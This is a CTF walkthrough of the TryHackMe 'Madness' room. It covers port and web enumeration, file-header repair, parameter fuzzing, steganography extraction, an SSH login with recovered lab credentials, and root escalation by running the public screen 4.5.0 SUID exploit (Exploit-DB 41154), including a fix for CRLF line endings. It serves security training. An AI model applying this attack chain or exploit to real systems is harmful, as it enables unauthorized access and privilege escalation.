Madness is a TryHackMe room that combines web enumeration, file header manipulation, steganography extraction, and exploiting a vulnerable SUID binary for privilege escalation.
Attack Chain:
nmap -sC -sV -oN nmap.log 10.10.10.10
Results:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Note: The room description explicitly mentions that SSH brute-forcing is not required.
Visiting the web server on port 80 reveals the Apache2 Default Page.
feroxbuster -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
No useful directories were found through traditional enumeration.
While inspecting the page source, a broken image was found along with a suspicious comment:
"They will never find me"
The image was located at /thm.jpg
Downloading the image:
curl http://10.10.10.10/thm.jpg -o thm.jpg
Opening the file failed. Running exiftool revealed something odd:
| Property | Value |
|---|---|
| File extension | JPG |
| File header | PNG |
| Warning | PNG image did not start with IHDR |
This indicates file header manipulation - the file claims to be a JPEG but has a corrupted PNG header.
Using a hex editor (e.g., ghex, hexedit), the corrupted header was replaced with a valid JPEG header:
FF D8 FF E0 00 10 4A 46 49 46
After fixing the header, the image opened successfully and revealed a hidden directory.

Navigating to the revealed directory:
/th1s_1s_h1dd3n
The page prompts us to guess a secret. Viewing the source code shows a comment hinting that the secret is between 0–99.
Appending a parameter ?secret=0 returns "wrong", confirming the mechanism.
# Generate wordlist
seq 0 99 > nums.txt
# Fuzz the parameter
ffuf -u http://10.10.10.10/th1s_1s_h1dd3n/?secret=FUZZ -w nums.txt
One request returned a different response length:
secret=73
Alternatively, using Burp Suite Intruder with a numeric payload (0–99) for the secret parameter and filtering by response length confirmed the same value.
Navigating to:
/th1s_1s_h1dd3n/?secret=73
Reveals a password string:
y2RPJ4QaPF!B
Now that we have a password, we revisit thm.jpg:
steghide extract -sf thm.jpg
# Enter passphrase: y2RPJ4QaPF!B
Hidden message revealed:
Here's a username
wbxre
The username wbxre is ROT13-encoded:
echo "wbxre" | tr 'a-zA-Z' 'n-za-mN-ZA-M'
# Output: joker

The image shown on the TryHackMe room page itself also contains hidden data!
stegseek 5iW7kC8.jpg rockyou.txt
Extracted message:
I didn't think you'd find me!
Here take my password
*axA&GF8dP
Using the discovered credentials:
Username: joker
Password: *axA&GF8dP
ssh joker@10.10.10.10
cat ~/user.txt
# Check sudo permissions
sudo -l
# Nothing useful
# Check SUID binaries
find / -perm -4000 2>/dev/null
One entry stands out:
/bin/screen-4.5.0
screen version 4.5.0 is known to be vulnerable when installed setuid root.
screen --version
# Screen version 4.5.0
searchsploit screen 4.5.0
searchsploit -m 41154.sh
scp 41154.sh joker@10.10.10.10:/home/joker
chmod +x 41154.sh
./41154.sh
On my first attempt, the exploit failed with a confusing error:
joker@ubuntu:~$ ./41154.sh
-bash: ./41154.sh: /bin/bash^M: bad interpreter: No such file or directory
What went wrong?
The script had Windows-style line endings (CRLF) instead of Unix-style line endings (LF). The ^M character at the end of /bin/bash is the carriage return (\r) that Windows adds. Linux doesn't recognize /bin/bash\r as a valid interpreter.
The Fix:
# Install dos2unix (if not already installed)
sudo apt-get install dos2unix
# Convert the script to Unix line endings
dos2unix 41154.sh
# Re-transfer to target machine
scp 41154.sh joker@10.10.10.10:/home/joker
# Now it works!
./41154.sh
Lesson Learned: Always check for CRLF issues when transferring scripts between Windows and Linux. Tools like
dos2unix,sed, or evenvimcan fix this.
After fixing the line endings, the exploit successfully spawns a root shell!
cat /root/root.txt
| Flag | Location | Status |
|---|---|---|
| User Flag | /home/joker/user.txt |
Captured |
| Root Flag | /root/root.txt |
Captured |
| Tool | Purpose |
|---|---|
nmap |
Port scanning and service enumeration |
feroxbuster |
Directory brute-forcing |
ffuf |
Parameter fuzzing |
ghex / hexedit |
Hex editing to fix file headers |
steghide |
Steganography extraction |
stegseek |
Stego brute-forcing |
searchsploit |
Exploit discovery |
file and exiftool